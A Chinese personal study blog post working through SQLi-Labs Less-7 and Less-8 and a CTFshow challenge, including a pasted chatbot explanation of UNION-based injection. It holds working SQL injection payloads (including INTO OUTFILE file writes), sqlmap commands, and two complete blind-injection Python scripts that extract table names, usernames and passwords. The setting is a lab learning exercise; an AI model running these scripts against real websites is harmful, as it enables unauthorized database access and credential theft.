note-05

修正sql-labs-less7错误

实现了win下phpstudy部署sqli,自己做了一遍less7,发现了select和union select的问题,
上次我以为有了文件写入后不需要union了,后来发现并不是这样,没了union会失败
问了kimi

为什么
?id=-1’)) union select 1,2,table_name from information_schema.tables where table_schema=’security’ into outfile”D:\phpstudy_pro\WWW\sqli-labs\Less-7\4.txt”–+

?id=-1’)) select table_name from information_schema.tables where table_schema=’security’ into outfile”D:\phpstudy_pro\WWW\sqli-labs\Less-7\4.txt”–+
不生效

KIMI:

为什么UNION SELECT是关键?
UNION SELECT的作用是把两个查询的结果合并在一起,而不是直接替换原始查询。它要求两个查询的列数和数据类型匹配,但只要满足这些条件,就能让注入的语句与原始查询兼容。而直接的SELECT语句没有这种兼容性,直接破坏了原始查询的结构,导致语法错误。
数据库的执行逻辑决定了这一切
数据库在解析SQL语句时,会严格按照语法规则执行。如果注入的语句破坏了原始查询的结构,数据库会报错。这种报错可能不会直接显示给用户,但会导致注入失败。第一个语句通过UNION SELECT与原始查询兼容,所以能成功;第二个语句直接破坏了原始查询的语法,所以失败。
权限和路径不是问题
INTO OUTFILE操作需要数据库户具有FILE权限,而且目标路径必须有效。但既然第一个语句已经成功,说明权限和路径都没有问题。第二个语句失败的原因完全在于语法错误,而不是权限或路径。

原来联合注入漏洞叫联合是这个原理

less-8

该题测试没有报错回显,只有登录是否成功回显
只能用盲注了,
sqlmap或上次less5的脚本都行

1
2
3
4
5
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch --dbs

--batch表示碰到选择时选用默认选项,--dbs表示爬取所有数据库名
-D 库名 --tables表示爬取某数据库下的所有表
-D 库名 -T 表名--columns表示爬取某库下某表的所有列

less5脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
TARGET_URL = "http://localhost/sqli-labs/Less-8/"
TRUE_STRING = "You are in..........."
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@$!"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
}

def send_payload(payload):
url = f"{TARGET_URL}?id=1' AND {payload} --+"
response = requests.get(url, headers=HEADERS)
return response.text
def get_length(query):
length = 0
while True:
payload = f"LENGTH({query})={length}"
response = send_payload(payload)
if TRUE_STRING in response:
print(f"[+] 长度为: {length}")
return length
length += 1
def get_string(query, length):
result = ""
for i in range(1, length + 1):
print(f"[+] 获取第 {i} 个字符...")
for char in CHARSET:
payload = f"SUBSTR({query},{i},1)='{char}'"
response = send_payload(payload)
if TRUE_STRING in response:
result += char
print(f"[+] 当前结果: {result}")
break
return result

def main():
db_length = get_length("DATABASE()")
db_name = get_string("DATABASE()", db_length)
print(f"[+] 数据库名: {db_name}")

table_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())={table_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
table_count += 1
print(f"[+] 表数量: {table_count}")

table_names = []
for i in range(table_count):
tbl_length = get_length(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)")
tbl_name = get_string(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)", tbl_length)
table_names.append(tbl_name)
print(f"[+] 表名: {tbl_name}")

target_table = "users"
print(f"[+] 获取{target_table}表的字段...")
field_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE())={field_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
field_count += 1
print(f"[+] 字段数量: {field_count}")

field_names = []
for i in range(field_count):
fld_length = get_length(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)")
fld_name = get_string(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)", fld_length)
field_names.append(fld_name)
print(f"[+] 字段名: {fld_name}")

print(f"[+] 获取{target_table}表的数据...")
for i in range(field_count):
if field_names[i] in ["username", "password"]:
print(f"[+] 获取字段: {field_names[i]}")
data_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM {target_table})={data_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
data_count += 1
print(f"[+] 数据条数: {data_count}")

for j in range(data_count):
data_length = get_length(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)")
data = get_string(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)", data_length)
print(f"[+] 数据[{j+1}]: {data}")

if __name__ == "__main__":
main()

顺便学习一下ctfshow web8 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))

if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break

# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()

https://blog.csdn.net/wangyuxiang946/article/details/120115458


note-05
https://aidemofashi.github.io/2025/03/04/note-05/
作者
aidemofashi
发布于
2025年3月4日
许可协议